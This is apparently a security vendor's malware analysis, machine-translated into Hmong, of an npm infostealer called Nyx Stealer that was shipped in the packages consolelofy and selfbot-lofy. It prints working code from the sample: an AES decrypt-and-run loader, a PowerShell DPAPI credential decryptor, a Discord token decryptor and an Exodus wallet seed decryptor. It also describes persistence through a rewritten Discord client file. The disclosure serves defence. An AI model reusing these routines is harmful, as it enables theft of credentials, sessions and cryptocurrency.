TL; DR
Pawg Neeg Tshawb Fawb Txog Kev Ruaj Ntseg Xygeni tau txheeb xyuas ib qho kev sib tw npm infostealer uas muaj kev txawj ntse xa los ntawm ob lub pob khoom phem: consolelofy thiab selfbot-lofy.
Qhov tseeb tshaj plaws (consolelofy@1.3.0) muab ib qho 216KB AES-encrypted payload uas decrypts thaum lub sijhawm khiav thiab ua tiav ntawm vm.runInNewContext()Vim tias qhov kev xav phem tau raug encrypted tag nrho, cov static scanners uas vam khom kev tshuaj xyuas cov hlua tsis tuaj yeem pom nws tus cwj pwm kom txog thaum lub sijhawm ua tiav.
Thaum decrypted lawm, qhov payload, uas muaj npe sab hauv Nyx Tus Tub Sab, hom phiaj:
- Cov cim qhia txog kev lees paub Discord
- 50+ lub khw muag ntaub ntawv pov thawj browser
- 90+ lub hnab nyiaj cryptocurrency txuas ntxiv
- Roblox, Instagram, Spotify, Steam, Telegram, thiab TikTok sib tham
- Discord desktop client persistence
Tag nrho 20 versions thoob plaws ob pob khoom tau raug tshaj tawm thiab lees paub tias muaj kev phom sij.
Kev Txheeb Xyuas Txog Kev Siv Npm Infostealer No
Tsis zoo li cov malware uas siv sijhawm teeb tsa ib txwm muaj, qhov kev sib tw no vam khom rau ib qho Runtime qauv decryption.
Muaj:
- Tsis muaj kev phem
preinstallorpostinstallhooks - Tsis muaj kev hu xov tooj hauv network thaum lub sijhawm teeb tsa pom tseeb
- Tsis muaj kev xav txog kev sau cov ntaub ntawv pov thawj yooj yim
Lub payload qhib thaum lub module raug xa tawm. Tag nrho lub cev phem raug encrypted thiab tsuas yog tshwm sim hauv lub cim xeeb thaum lub sijhawm khiav.
Tus qauv tsim no tshwj xeeb zam kev kuaj pom thaum lub sijhawm teeb tsa pob khoom.
Yuav ua li cas lub npm Infostealer no ua haujlwm tiag tiag
Ua ntej peb yuav tsum xav txog seb Nyx Stealer nyiag dab tsi, peb yuav tsum nkag siab txog qhov no. nws ua li cas.
Lub logic phem hauv lub npm infostealer no ua raws li tus qauv sib xws:
Ib lub loader me me decrypts ib qho payload loj encrypted thiab ua nws dynamically hauv ib qho Node.js VM context.
Tus qauv tsim no yog txhob txwm ua. Tus neeg tawm tsam tsis zais kev ua haujlwm tom qab kev zais cia xwb, lawv yog tshem tawm cov lej phem ntawm qhov pom kev zoo li qub tag nrho.
Qauv Kev Ua Haujlwm Siab
Nyob rau theem siab, tus qhwv ua plaub yam:
- Tau txais tus yuam sij AES los ntawm cov lus zais nyuaj siv SHA-256
- Decrypts ib tug hex-encoded ciphertext loj siv AES-256-CBC
- Ua tiav JavaScript decrypted siv
vm.runInNewContext() - Muab ib lub sandbox uas tseem qhia txog cov runtime primitives muaj zog
Cov Ntsiab Lus Tseem Ceeb ntawm Cov Txheej Txheem
| tivthaiv | Kev Teeb tsa / Tus Nqi |
|---|---|
| Algorithm | AES-256-CBC |
| Kev Tshawb Fawb Tseem Ceeb | SHA-256 (kab lus zais) |
| Kev Pib Siv Vector (IV) | 16 bytes ntawm 0x00 |
| tiav | vm.runInNewContext(decrypted, sandbox) |
Qhov tseem ceeb, lub sandbox hla dhau:
requireprocessBuffer- sijhawm
- kev xa tawm module
Qhov no txhais tau tias qhov decrypted payload khaws cia tag nrho cov peev xwm rau:
- Cov txheej txheem tso qe
- Nyeem thiab sau cov ntaub ntawv
- Ua kev hu xov tooj hauv network
- Hloov kho cov ntawv thov hauv zos
Qhov no tsis yog VM txwv. Nws yog VM siv ua lub trampoline ua haujlwm.
Tus Qauv Kev Nkag Mus Rau Lub Sijhawm Khiav (Lub Tswv Yim Ua Haujlwm Tseem Ceeb)
Lub loader me me.
Lub cev tsis zoo li qub.
Hauv qab no yog tus qauv ua tiav pom hauv pob khoom:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }Vim Li Cas Cov Muaj Peev Xwm No
Lub payload decrypted:
- Puas yog tsis muaj nyob rau hauv plaintext hauv pob npm
- Tsis pom kev yooj yim
greplos yog kev luam theej duab ntawm cov hlua static - Tsuas yog tshwm sim hauv lub cim xeeb thaum lub sijhawm khiav
- Ua haujlwm nrog tag nrho Node runtime peev xwm
Qhov kev sib xyaw ua ke ntawm AES + VM no yog qhov qhia txog kev coj cwj pwm zoo ntawm ib qho npm infostealer sim zam kev tshuaj xyuas zoo li qub.
Hauv lwm lo lus:
Yog koj luam theej daim ntawv qhia chaw ntawm pob khoom, koj yuav tsis pom tus neeg nyiag khoom.
Koj pom ib lub decryptor.
Yuav ua li cas tom qab Decryption
Thaum ua tiav lawm, Nyx Stealer tso tawm cov nthwv dej sau cov ntaub ntawv sib luag.
Wave 1: Kev rho tawm daim ntawv pov thawj ntawm browser
Cov malware:
- Rub tawm Python runtime los ntawm NuGet CDN
- Nruab cov tsev qiv ntawv cryptographic
- Tshem tawm cov ntaub ntawv pov thawj raws li Chromium
- Decrypts DPAPI-protected secrets
Es tsis txhob muab cov kev khi ua ke, nws siv PowerShell los hu rau Windows DPAPI ncaj qha.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }Txoj kev no:
- Tsis txhob muab cov khoom sau ua ke
- Siv cov Windows crypto APIs ib txwm muaj
- Sib xyaw ua ke rau hauv cov cuab yeej tswj hwm
Nws yog OS-level credential decryption, tsis yog scraping.
Wave 2: Kev Txiav Txim Siab Discord Token
Tus neeg nyiag khoom paub txog cov txheej txheem. Nws nkag siab txog Discord tus qauv encrypted token.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }Kev khiav dej num:
- Rub tawm tus yuam sij tseem ceeb los ntawm Discord
Local State - Decrypt tus yuam sij tseem ceeb ntawm DPAPI
- Decrypt AES-GCM token blobs
- Txheeb xyuas cov tokens tawm tsam Discord API
- Ntxiv Nitro, cov cim, thiab cov ntaub ntawv them nqi
Qhov no tsis yog kev pov tseg daim ntawv pov thawj dav dav. Nws yog kev nyiag kev sib tham raws li cov txheej txheem.
Wave 3: Kev Taw Qhia Txog Lub Hnab Nyiaj Cryptocurrency
Lub npm infostealer suav cov ntaub ntawv no:
- 90+ browser hnab nyiaj txuas ntxiv
- 27 lub hnab nyiaj hauv desktop
- Txoj kev hnab nyiaj txias
- Cov ntaub ntawv noob Exodus
Piv txwv li kev sim decryption noob:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }Yog tias ua tiav, kev sib cog lus them nyiaj yuav tam sim ntawd thiab tsis rov qab tau.
Qhov no sawv cev rau qhov vector nyiaj txiag siab tshaj plaws ntawm kev sib tw.
Kev Nyob Ruaj Khoov Los Ntawm Discord Desktop Injection
Tom qab sau cov ntaub ntawv pov thawj, Nyx Stealer sim ua kom ruaj khov los ntawm kev hloov kho qhov chaw hauv zos. Discord tus thov kev pab.
Hom phiaj:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsKev ua haujlwm ib ntus
Tus infostealer ua cov kauj ruam hauv qab no:
- Xaus cov txheej txheem Discord khiav
- Nrhiav cov Discord variants uas tau teeb tsa (Stable, Canary, PTB)
- Sau dua
discord_desktop_core/index.js - Txhaj cov logic webhook uas tus neeg tawm tsam tswj hwm
- Rov pib dua Discord
Qhov no ua kom ntseeg tau tias cov kev sib tham Discord yav tom ntej yuav xau cov cim qhia kev lees paub tshiab.
Qhov tseem ceeb, qhov kev ua haujlwm no tsis vam khom cov haujlwm teem sijhawm lossis kev hloov kho registry. Nws siv kev hloov kho code ntawm daim ntawv thov, uas yog ib txoj hauv kev zais cia.
Txawm tias lub pob npm phem raug tshem tawm tom qab, tus neeg siv khoom Discord tseem raug cuam tshuam.
Kev Sib Piv Txog Kev Siv Tshuab: Legitimate Selfbot vs npm Infostealer
| tivthaiv | Tsev Qiv Ntawv Raug Cai | Nyx npm Infostealer |
|---|---|---|
| encryption | tsis muaj leej twg | Tag nrho AES-encrypted payload |
| Lub Sijhawm Khiav VM | tsis yuav tsum tau | vm.runInNewContext ua tiav |
| Daim ntawv pov thawj nkag | Tsuas yog Discord API xwb | Browser, hnab nyiaj, DPAPI |
| Cov Downloads Sab Nraud | Tsis yog | Python runtime ntawm NuGet |
| Persistence | Tsis yog | Discord cov neeg siv khoom txhaj tshuaj |
| Monetization | Kev siv tshuab bot | Kev muag daim ntawv pov thawj dua |
Lub txheej encryption ib leeg twb cais qhov kev sib tw no ntawm qhov qhib-qhov chaw sib txawv.
Ib tug neeg ua haujlwm Discord uas raug cai tsis muaj laj thawj los encrypt nws tag nrho cov codebase, spawn PowerShell kom nkag mus rau DPAPI, download external runtimes, lossis hloov kho cov desktop application internals. Thaum cov peev xwm ntawd tshwm sim hauv ib qho kev vam khom uas thov kom ua kom Discord sib cuam tshuam tau, qhov kev tsis sib haum xeeb ntawm cov qauv vaj tse yuav tsis tuaj yeem tsis quav ntsej.
Los ntawm qhov kev tshawb nrhiav, tus npm infostealer no tso cov cim qhia hla ntau txheej. Txawm li cas los xij, cov cim qhia txhim khu kev qha tshaj plaws tsis yog cov URLs nyuaj lossis cov ntaub ntawv tshwj xeeb, vim tias cov ntawd tuaj yeem hloov pauv ntawm cov versions. Hloov chaw, cov cim qhia ruaj khov yog cov qauv.
Ntawm theem pob khoom, lub chij liab muaj zog tshaj plaws yog kev sib xyaw ua ke ntawm cov payload loj encrypted thiab runtime decryption wrapper uas tam sim ntawd ua haujlwm ntawm vm.runInNewContext()Txawm hais tias kev siv encryption ib leeg tsis yog qhov phem, kev siv AES decryption ua raws li kev ua haujlwm VM dynamic hauv pob khoom siv Discord yog qhov txawv txav heev.
Ntawm theem tus tswv tsev, cov qauv txawv txawv suav nrog kev ua haujlwm decryption DPAPI tsis tau xav txog, cov txheej txheem spawning los ntawm Node.js dependency context, thiab kev hloov kho ntawm cov ntaub ntawv thov hauv zos uas yuav tsum tsis txhob hloov pauv los ntawm cov tsev qiv ntawv sab nraud. Ib yam li ntawd, ntawm txheej network, kev sib txuas lus webhook-style tawm uas pib los ntawm kev txhim kho dependency sawv cev rau lwm qhov tsis zoo.
Hauv lwm lo lus, qhov chaw kuaj pom tsis yog ib qho cim qhia txog kev puas tsuaj. Nws yog qhov sib raug zoo ntawm kev encryption, runtime execution, credential access, thiab persistence behavior uas qhia txog kev hem thawj.
Kev Tshawb Pom thiab Kev Txo Qhov Teeb Meem nrog Xygeni
Lub npm infostealer no tau txheeb xyuas los ntawm Xygeni's Malware Early Warning (MEW) los ntawm kev sib raug zoo ntawm tus cwj pwm ntau txheej es tsis yog kev sib phim yooj yim.
Es tsis txhob nrhiav cov kab lus phem uas paub lawm, MEW ntsuas qhov tsis zoo ntawm cov qauv thoob plaws tag nrho cov ntoo qhov chaw. Hauv qhov no, kev kuaj pom tau tshwm sim los ntawm kev sib sau ua ke ntawm ntau lub cim: ib qho kev tso cai AES decryption hauv qhov chaw nkag module, kev ua haujlwm tam sim ntawd hauv VM context, thiab qhov tsis sib xws ntawm lub peev xwm thiab lub hom phiaj.
Qhov tseem ceeb, tsis muaj ib qho ntawm cov cim qhia no uas qhia tau tias muaj lub siab phem. Txawm li cas los xij, thaum tshuaj xyuas ua ke, lawv qhia txog kev sim zais tus cwj pwm thaum lub sijhawm khiav. Txoj hauv kev no ua ke txo qhov tsis tseeb thaum tseem txheeb xyuas cov kev hem thawj ntawm cov khoom xa tuaj.
Ntxiv mus, qhov teeb meem no qhia tau tias vim li cas kev tshuaj xyuas lub sijhawm teeb tsa ib leeg tsis txaus. Lub laj thawj phem tsis nyob hauv cov ntawv sau txog lub neej. Nws tsuas yog ua haujlwm tom qab lub module thauj khoom thiab tsuas yog pom thaum decrypted hauv lub cim xeeb. Yog li ntawd, kev tiv thaiv zoo yuav tsum tau muaj kev tshuaj xyuas encryption-paub txog, kev paub txog tus cwj pwm, thiab kev saib xyuas kev vam khom tas mus li dhau ntawm cov xwm txheej teeb tsa.
Kev tshem tawm Registry yog qhov ua tau sai. Kev tshuaj xyuas Runtime-aware yog kev tiv thaiv.
Vim li cas qhov no npm Infostealer tseem ceeb
Nyx Stealer sawv cev rau kev hloov pauv ntawm cov qauv hauv npm-based malware.
Keeb kwm los, ntau lub pob khoom phem tau vam khom cov ntawv sau uas pom tseeb thaum lub sijhawm teeb tsa lossis cov ntsiab lus pom tseeb ntawm kev rho tawm cov ntaub ntawv pov thawj. Los ntawm qhov sib piv, qhov kev sib tw no encrypts nws cov payload, ncua kev ua haujlwm mus rau lub sijhawm khiav, siv cov APIs ntawm lub operating system raug cai, thiab tsim kom muaj kev ruaj khov hauv cov ntawv thov ntseeg siab.
Yog li ntawd, tus neeg tawm tsam tsis tas yuav siv cov khoom siv npm nws tus kheej. Hloov chaw, qhov kev tawm tsam ua tiav vim tias kev teeb tsa kev vam khom txhais tau tias kev ntseeg siab. Cov neeg tsim khoom xav tias kev xa khoom lub tsev qiv ntawv yog kev ua haujlwm nyab xeeb, tshwj xeeb tshaj yog thaum nws nthuav tawm nws tus kheej ua ib qho kev sib txuas ntawm cov cuab yeej nrov.
Thaum cov ecosystem txuas ntxiv loj hlob thiab cov forks loj hlob tuaj, qhov kev ntseeg siab ntawd dhau los ua qhov chaw tawm tsam zoo dua. Yog li ntawd, kev tiv thaiv cov neeg siv npm niaj hnub no yuav tsum paub txog cov qauv vaj tse es tsis txhob nrhiav cov hlua ruaj khov.
Thaum kawg, qhov kev sib tw no txhawb nqa ib zaj lus qhia tseem ceeb hauv software supply chain security: cov kev hem thawj txaus ntshai tshaj plaws tsis yog cov uas zoo li phem thaum xub thawj siab, tab sis cov uas zoo li raug cai txog thaum lub sijhawm khiav tawm qhia lawv tus cwj pwm tiag tiag.
